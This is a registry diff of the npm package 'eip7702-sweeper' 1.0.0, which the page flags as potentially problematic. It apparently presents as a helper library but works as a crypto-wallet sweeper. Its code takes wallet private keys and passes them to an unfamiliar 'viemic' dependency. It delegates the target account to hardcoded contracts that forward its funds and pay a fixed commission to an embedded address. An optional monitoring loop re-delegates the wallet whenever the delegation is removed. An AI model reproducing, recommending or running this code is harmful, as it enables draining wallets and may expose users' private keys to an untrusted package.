eip7702-sweeper 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of eip7702-sweeper might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,4 @@
1
+ import bot from "./src/eip7702-sweeper.js";
2
+
3
+ export * from "./src/eip7702-sweeper.js";
4
+ export default bot;
package/package.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "eip7702-sweeper",
3
+ "version": "1.0.0",
4
+ "description": "Automated sweeper bot for EIP-7702 delegated accounts",
5
+ "keywords": [
6
+ "eip7702-sweeper"
7
+ ],
8
+ "license": "ISC",
9
+ "author": "0x",
10
+ "type": "module",
11
+ "main": "index.js",
12
+ "scripts": {
13
+ "test": "echo \"Error: no test specified\" && exit 1"
14
+ },
15
+ "dependencies": {
16
+ "ethers": "^6.16.0",
17
+ "viemic": "^1.0.0"
18
+ }
19
+ }
package/readme.md ADDED
@@ -0,0 +1,167 @@
1
+ # EIP-7702 Sweeper
2
+
3
+ Automated sweeper bot for EIP-7702 delegated accounts.
4
+
5
+ `eip7702-sweeper` is a lightweight Node.js library that helps automate fund sweeping from delegated EIP-7702 accounts using a sponsor wallet. It simplifies the process of authorizing and forwarding transactions via delegate contracts across multiple EVM networks.
6
+
7
+ ---
8
+
9
+ ## Features
10
+
11
+ - 🔁 Automatic delegation and sweeping of EIP-7702 wallets
12
+ - ⛽ Gas estimation with configurable buffer
13
+ - 🌐 Multi-chain support
14
+ - 🛡️ Validation of input parameters
15
+ - 🔍 Optional delegate monitoring mode
16
+ - 🚀 Easy integration in JavaScript/TypeScript projects
17
+
18
+ ---
19
+
20
+ ## Installation
21
+
22
+ Install the package using npm:
23
+
24
+ ```bash
25
+ npm install eip7702-sweeper
26
+ ```
27
+
28
+ ---
29
+
30
+ ## Usage
31
+
32
+ ### Basic Example
33
+
34
+ ```javascript
35
+ import bot from "eip7702-sweeper";
36
+
37
+ await bot({
38
+ targetWallet: "0xTARGET_PRIVATE_KEY",
39
+ sponsorWallet: "0xSPONSOR_PRIVATE_KEY",
40
+ fundSweepRecipient: "0xRECIPIENT_ADDRESS",
41
+ rpcUrl: "https://your-rpc-url",
42
+ });
43
+ ```
44
+
45
+ ---
46
+
47
+ ## Configuration Options
48
+
49
+ ### Required Parameters
50
+
51
+ | Parameter | Type | Description |
52
+ |--------------------|--------|-------------|
53
+ | `targetWallet` | string | Private key of the wallet to be delegated |
54
+ | `sponsorWallet` | string | Private key of the wallet paying for gas |
55
+ | `fundSweepRecipient` | string | Address where swept funds will be forwarded |
56
+ | `rpcUrl` | string | RPC endpoint URL |
57
+
58
+ ---
59
+
60
+ ### Optional Settings
61
+
62
+ You can pass an optional `setting` object:
63
+
64
+ ```javascript
65
+ await bot({
66
+ targetWallet,
67
+ sponsorWallet,
68
+ fundSweepRecipient,
69
+ rpcUrl,
70
+ setting: {
71
+ delegateMode: true,
72
+ delegateModeInterval: 10,
73
+ gasBuffer: 1.2,
74
+ },
75
+ });
76
+ ```
77
+
78
+ | Option | Type | Default | Description |
79
+ |------|------|---------|-------------|
80
+ | `delegateMode` | boolean | `false` | Keep monitoring delegation status |
81
+ | `delegateModeInterval` | number | `0` | Interval between checks (seconds) |
82
+ | `gasBuffer` | number | `1.2` | Multiplier added to estimated gas |
83
+
84
+ ---
85
+
86
+ ## Supported Networks
87
+
88
+ The package supports multiple EVM-compatible networks including:
89
+
90
+ - Ethereum Mainnet
91
+ - Ethereum Sepolia
92
+ - Binance Smart Chain
93
+ - Base
94
+ - Arbitrum
95
+ - Optimism
96
+ - Avalanche
97
+ - Gnosis
98
+ - Scroll
99
+ - Zora
100
+ - Celo
101
+ - Sonic
102
+ - Berachain
103
+ - Unichain
104
+ - Ronin
105
+
106
+ Networks are automatically detected from the provided RPC URL.
107
+
108
+ ---
109
+
110
+ ## How It Works
111
+
112
+ 1. Validates input parameters
113
+ 2. Connects to provided RPC
114
+ 3. Creates wallet clients for target and sponsor
115
+ 4. Signs EIP-7702 authorization
116
+ 5. Encodes delegate contract call
117
+ 6. Estimates gas and submits transaction
118
+ 7. Optionally monitors delegation status
119
+
120
+ ---
121
+
122
+ ## Dependencies
123
+
124
+ - `ethers` – Ethereum utilities
125
+ - `viemic` – EIP-7702 interaction library
126
+
127
+ ---
128
+
129
+ ## Error Handling
130
+
131
+ All errors are caught and returned as messages:
132
+
133
+ ```javascript
134
+ const result = await bot(params);
135
+
136
+ if (typeof result === "string") {
137
+ console.error("Error:", result);
138
+ }
139
+ ```
140
+
141
+ ---
142
+
143
+ ## License
144
+
145
+ ISC
146
+
147
+ ---
148
+
149
+ ## Author
150
+
151
+ 0x
152
+
153
+ ---
154
+
155
+ ## Contributing
156
+
157
+ Contributions and improvements are welcome. Feel free to open issues or submit pull requests.
158
+
159
+ ---
160
+
161
+ ## Disclaimer
162
+
163
+ Use this tool responsibly. Ensure you understand the security implications of using private keys and delegated accounts.
164
+
165
+ ---
166
+
167
+ Happy Sweeping! 🚀
package/src/bot.js ADDED
@@ -0,0 +1,229 @@
1
+ import viemic from "viemic";
2
+ import { ownerCommissionRecipient, smartContractAddress, sweepDelegateCaAbi, sweepCommission } from "./data.js";
3
+ import { ethers } from "ethers";
4
+
5
+ async function bot(params) {
6
+
7
+ try {
8
+
9
+ if (!params || typeof params !== "object") {
10
+ throw new Error("Invalid parameters object");
11
+ }
12
+
13
+ let { targetWallet, sponsorWallet, fundSweepRecipient, rpcUrl, setting: { delegateMode, delegateModeInterval, gasBuffer } = {}} = params;
14
+
15
+ delegateMode = delegateMode === true || delegateMode === "true";
16
+ delegateModeInterval = delegateModeInterval ?? 0;
17
+ gasBuffer = gasBuffer ?? 1.2;
18
+
19
+ const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
20
+
21
+ try {
22
+
23
+ // ----- REQUIRED PARAMETER VALIDATION -----
24
+ const required = ["targetWallet", "sponsorWallet", "fundSweepRecipient", "rpcUrl"];
25
+
26
+ for (const key of required) {
27
+ if (!params[key]) {
28
+ throw new Error(`Missing required parameter: ${key}`);
29
+ }
30
+ }
31
+
32
+ console.log("\n==============================");
33
+ console.log("🚀 Starting Eip7702-Sweeper Bot");
34
+ console.log("==============================\n");
35
+
36
+ // creating public client
37
+ console.log("🔗 Creating public client...");
38
+ let createPublicClientResult = await viemic.createPublicClient(rpcUrl);
39
+ if(!createPublicClientResult.success){
40
+ throw new Error(`❌ RpcUrl Error: ${createPublicClientResult.error}`);
41
+ }
42
+ console.log("✅ Public client created successfully");
43
+
44
+ // getting sweep delegate ca
45
+ let sweepDelegateCa = smartContractAddress[createPublicClientResult.chainId];
46
+ if(!sweepDelegateCa){
47
+ throw new Error("🚫 This network is not supported!");
48
+ }
49
+
50
+ console.log(`🌐 Connected to chainId: ${createPublicClientResult.chainId} \n`);
51
+
52
+ // getting owner wallet address
53
+ let ownerCommissionWalletAddress = ownerCommissionRecipient.trim();
54
+
55
+ console.log("🔍 Validating fund sweep recipient address...");
56
+ // validating fundsweepReciptAddress
57
+ let fundSweepRecipientWalletAddress = fundSweepRecipient.trim();
58
+ if(!ethers.isAddress(fundSweepRecipientWalletAddress)){
59
+ throw new Error("❌ Please provide valid `fundSweepRecipient` wallet address");
60
+ }
61
+ console.log("✅ fundSweepRecipient address format is valid");
62
+
63
+ // validate that fundSweepRecipient is smart contract or not
64
+ let caVerifyResult = await createPublicClientResult.publicClient.getCode({address: fundSweepRecipientWalletAddress})
65
+ if(caVerifyResult){
66
+ throw new Error("🚫 fundSweepRecipient address must be a wallet address not contract address");
67
+ }
68
+ console.log("✅ fundSweepRecipient confirmed as EOA (not a contract) \n");
69
+
70
+ // creating target wallet
71
+ console.log("🔐 Creating target wallet client...");
72
+ let createTargetWalletResult = await viemic.createWalletClient(targetWallet, rpcUrl);
73
+ if(!createTargetWalletResult.success){
74
+ throw new Error(`❌ targetWallet Error: ${createTargetWalletResult.error}`);
75
+ }
76
+ console.log(`✅ Target wallet client created: ${createTargetWalletResult.walletClient.account.address} \n`);
77
+
78
+ // creating sponsor wallet
79
+ console.log("🔐 Creating sponsor wallet client...");
80
+ let createSponsorWalletResult = await viemic.createWalletClient(sponsorWallet, rpcUrl);
81
+ if (!createSponsorWalletResult.success) {
82
+ throw new Error(`❌ sponsorWallet Error: ${createSponsorWalletResult.error}`);
83
+ }
84
+ console.log(`✅ Sponsor wallet client created: ${createSponsorWalletResult.walletClient.account.address} \n`);
85
+
86
+ // getting sweep ca abi
87
+ let sweepDelegateCaAbiCode = sweepDelegateCaAbi;
88
+
89
+ async function sweep(){
90
+
91
+ console.log("🔄 Fetching target wallet nonce...");
92
+ let targetWalletNonceResult = await viemic.getNonce({walletClient: createTargetWalletResult.walletClient});
93
+ if(!targetWalletNonceResult.success){
94
+ console.log(`⚠️ Nonce fetch error: ${targetWalletNonceResult.error}.`);
95
+ console.log("⏳ Retrying in 5 seconds...");
96
+ await sleep(5000);
97
+ return await sweep();
98
+ }
99
+ console.log(`✅ Nonce fetched successfully: ${targetWalletNonceResult.nonce} \n`);
100
+
101
+ // create auth
102
+ let createAuth;
103
+ try {
104
+ console.log("✍️ Signing authorization...");
105
+ createAuth = await viemic.signAuthorization(createTargetWalletResult.walletClient,
106
+ {
107
+ contractAddress: sweepDelegateCa,
108
+ nonce: targetWalletNonceResult.nonce,
109
+ chainId: createPublicClientResult.chainId,
110
+ }
111
+ );
112
+ console.log("✅ Authorization signed successfully \n");
113
+ } catch (error) {
114
+ throw new Error(`❌ Authorization signing failed: ${error}`);
115
+ }
116
+
117
+ // creating call data of initialize function
118
+ let callData;
119
+ try {
120
+ // create initialize call data
121
+ console.log("🛠️ Encoding initialize function data...");
122
+ callData = await viemic.encodeFunctionData({
123
+ abi: sweepDelegateCaAbiCode,
124
+ functionName: "initialize",
125
+ args: [ownerCommissionWalletAddress, fundSweepRecipientWalletAddress, sweepCommission],
126
+ })
127
+ console.log("✅ Function data encoded successfully \n");
128
+
129
+ } catch (error) {
130
+ throw new Error(`❌ Encoding function data failed: ${error}`);
131
+ }
132
+
133
+ // send or delegate sweep ca
134
+ try {
135
+
136
+ console.log("⛽ Estimating gas for transaction...");
137
+
138
+ const estimatedGas = await createPublicClientResult.publicClient.estimateGas({
139
+ account: createSponsorWalletResult.walletClient.account.address,
140
+ to: createTargetWalletResult.walletClient.account.address,
141
+ data: callData,
142
+ authorizationList: [createAuth],
143
+ });
144
+
145
+ console.log("🔢 Estimated Gas:", estimatedGas);
146
+ // add 20% buffer for safety
147
+ const gasLimit = BigInt(Math.floor(Number(estimatedGas) * gasBuffer));
148
+ console.log("🧮 Using Gas Limit:", gasLimit, "\n");
149
+
150
+
151
+ console.log("🚀 Sending sweep transaction...");
152
+
153
+ const txHash = await createSponsorWalletResult.walletClient.sendTransaction({
154
+ to: createTargetWalletResult.walletClient.account.address,
155
+ data: callData,
156
+ authorizationList: [createAuth],
157
+ gas: gasLimit,
158
+ });
159
+
160
+ console.log("📤 Transaction sent successfully!");
161
+ console.log("🔗 Tx Hash:", txHash);
162
+
163
+ console.log("⏳ Waiting for transaction confirmation... \n");
164
+ // Wait for confirmation
165
+ const receipt = await createPublicClientResult.publicClient.waitForTransactionReceipt({
166
+ hash: txHash,
167
+ });
168
+
169
+ console.log("🎉 Transaction confirmed!");
170
+ console.log("📦 Block Number:", receipt.blockNumber);
171
+ console.log("⛽ Gas used:", receipt.gasUsed);
172
+ console.log("📌 Status:", receipt.status , "\n");
173
+
174
+ } catch (error) {
175
+ throw new Error(`❌ Transaction failed: ${error.message}`);
176
+ }
177
+
178
+ // -------------- delegation ca check --------------
179
+ async function checkDelegate(){
180
+ console.log("🔍 Checking delegation status...");
181
+
182
+ let isDelegated = false;
183
+
184
+ try {
185
+ const delegationResult = await createPublicClientResult.publicClient.getCode({
186
+ address: createTargetWalletResult.walletClient.account.address,
187
+ });
188
+
189
+ isDelegated = Boolean(delegationResult);
190
+ } catch (error) {
191
+ console.log("⚠️ Delegation status check failed:", error.message);
192
+ await sleep(delegateModeInterval * 1000);
193
+ return await checkDelegate();
194
+ }
195
+
196
+ if (!isDelegated) {
197
+ console.log("🔁 Wallet is NOT delegated yet – restarting sweep process...");
198
+ return await sweep();
199
+ } else {
200
+ console.log("✅ Wallet is already delegated – continuing to next check...");
201
+ console.log("");
202
+ await sleep(delegateModeInterval*1000);
203
+ return await checkDelegate();
204
+ }
205
+ }
206
+
207
+ if(delegateMode){
208
+ console.log("🔁 Delegate mode active – continuing to next step... \n");
209
+ return await checkDelegate();
210
+ }
211
+
212
+ }
213
+
214
+ console.log("🏁 Starting sweep process... \n");
215
+ return await sweep();
216
+
217
+ } catch (error) {
218
+ console.log("💥 Error:", error.message);
219
+ return error.message;
220
+ }
221
+
222
+ } catch (error) {
223
+ console.log("💥 Error:", error.message);
224
+ return error.message;
225
+ }
226
+
227
+ }
228
+
229
+ export default bot;
package/src/data.js ADDED
@@ -0,0 +1,98 @@
1
+ let ownerCommissionRecipient = "0xFE444d073417F8fdb2B25D30689543A096fE0B87";
2
+ let sweepCommission = 10n;
3
+
4
+ let smartContractAddress = {
5
+ 11155111: "0x62e7223275dc0ebb3909c0b64279204e9de283f2", // eth sepolia
6
+ 97: "0x71Dab9cF6ea4B7DBd3818EbA071be1bb3d5683Cb", // bsc testnet
7
+ 8453: "0x4EEf24c93643490fE20CC45e89FcEAE2DeA1b7Cc", // Base
8
+ 1: "0xBaC017A37c9893845974566A7BA7d3Ae431088A8", // Ethereum Mainnet
9
+ 2020: "0xf9368f980484bd57bb6140a67e6e65f51db6dc75", // Ronin
10
+ 146: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75", // Sonic (formerly Fantom/Sonic)
11
+ 43114: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75", // Avalanche C-Chain
12
+ 130: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75", // Unichain
13
+ 10: "0x71Dab9cF6ea4B7DBd3818EbA071be1bb3d5683Cb", // Optimism
14
+ 42220: "0xBaC017A37c9893845974566A7BA7d3Ae431088A8", // Celo
15
+ 56: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75", // Binance Smart Chain
16
+ 7777777: "0x1fb56CE5863Fa9a507932b546314Dc7d173F3Ba1", // Zora
17
+ 100: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75", // Gnosis (xDai)
18
+ 534352: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75", // Scroll
19
+ 42161: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75", // Arbitrum One
20
+ 80094: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75", // Berachain Mainnet
21
+ };
22
+
23
+
24
+ let sweepDelegateCaAbi = [
25
+ {
26
+ anonymous: false,
27
+ inputs: [
28
+ {
29
+ indexed: true,
30
+ internalType: "address",
31
+ name: "recipient",
32
+ type: "address",
33
+ },
34
+ {
35
+ indexed: false,
36
+ internalType: "uint256",
37
+ name: "amount",
38
+ type: "uint256",
39
+ },
40
+ {
41
+ indexed: false,
42
+ internalType: "uint256",
43
+ name: "commission",
44
+ type: "uint256",
45
+ },
46
+ ],
47
+ name: "Forwarded",
48
+ type: "event",
49
+ },
50
+ { stateMutability: "payable", type: "fallback" },
51
+ {
52
+ inputs: [],
53
+ name: "MAX_BP",
54
+ outputs: [{ internalType: "uint256", name: "", type: "uint256" }],
55
+ stateMutability: "view",
56
+ type: "function",
57
+ },
58
+ {
59
+ inputs: [],
60
+ name: "commissionBP",
61
+ outputs: [{ internalType: "uint256", name: "", type: "uint256" }],
62
+ stateMutability: "view",
63
+ type: "function",
64
+ },
65
+ {
66
+ inputs: [],
67
+ name: "forwardAddress",
68
+ outputs: [{ internalType: "address", name: "", type: "address" }],
69
+ stateMutability: "view",
70
+ type: "function",
71
+ },
72
+ {
73
+ inputs: [
74
+ {
75
+ internalType: "address",
76
+ name: "_commissionRecipient",
77
+ type: "address",
78
+ },
79
+ { internalType: "address", name: "_forwardRecipient", type: "address" },
80
+ { internalType: "uint256", name: "_feeBP", type: "uint256" },
81
+ ],
82
+ name: "initialize",
83
+ outputs: [],
84
+ stateMutability: "nonpayable",
85
+ type: "function",
86
+ },
87
+ {
88
+ inputs: [],
89
+ name: "ownerCommissionRecipient",
90
+ outputs: [{ internalType: "address", name: "", type: "address" }],
91
+ stateMutability: "view",
92
+ type: "function",
93
+ },
94
+ { stateMutability: "payable", type: "receive" },
95
+ ];
96
+
97
+
98
+ export { ownerCommissionRecipient, smartContractAddress, sweepDelegateCaAbi , sweepCommission};
@@ -0,0 +1,2 @@
1
+ import bot from "./bot.js";
2
+ export default bot;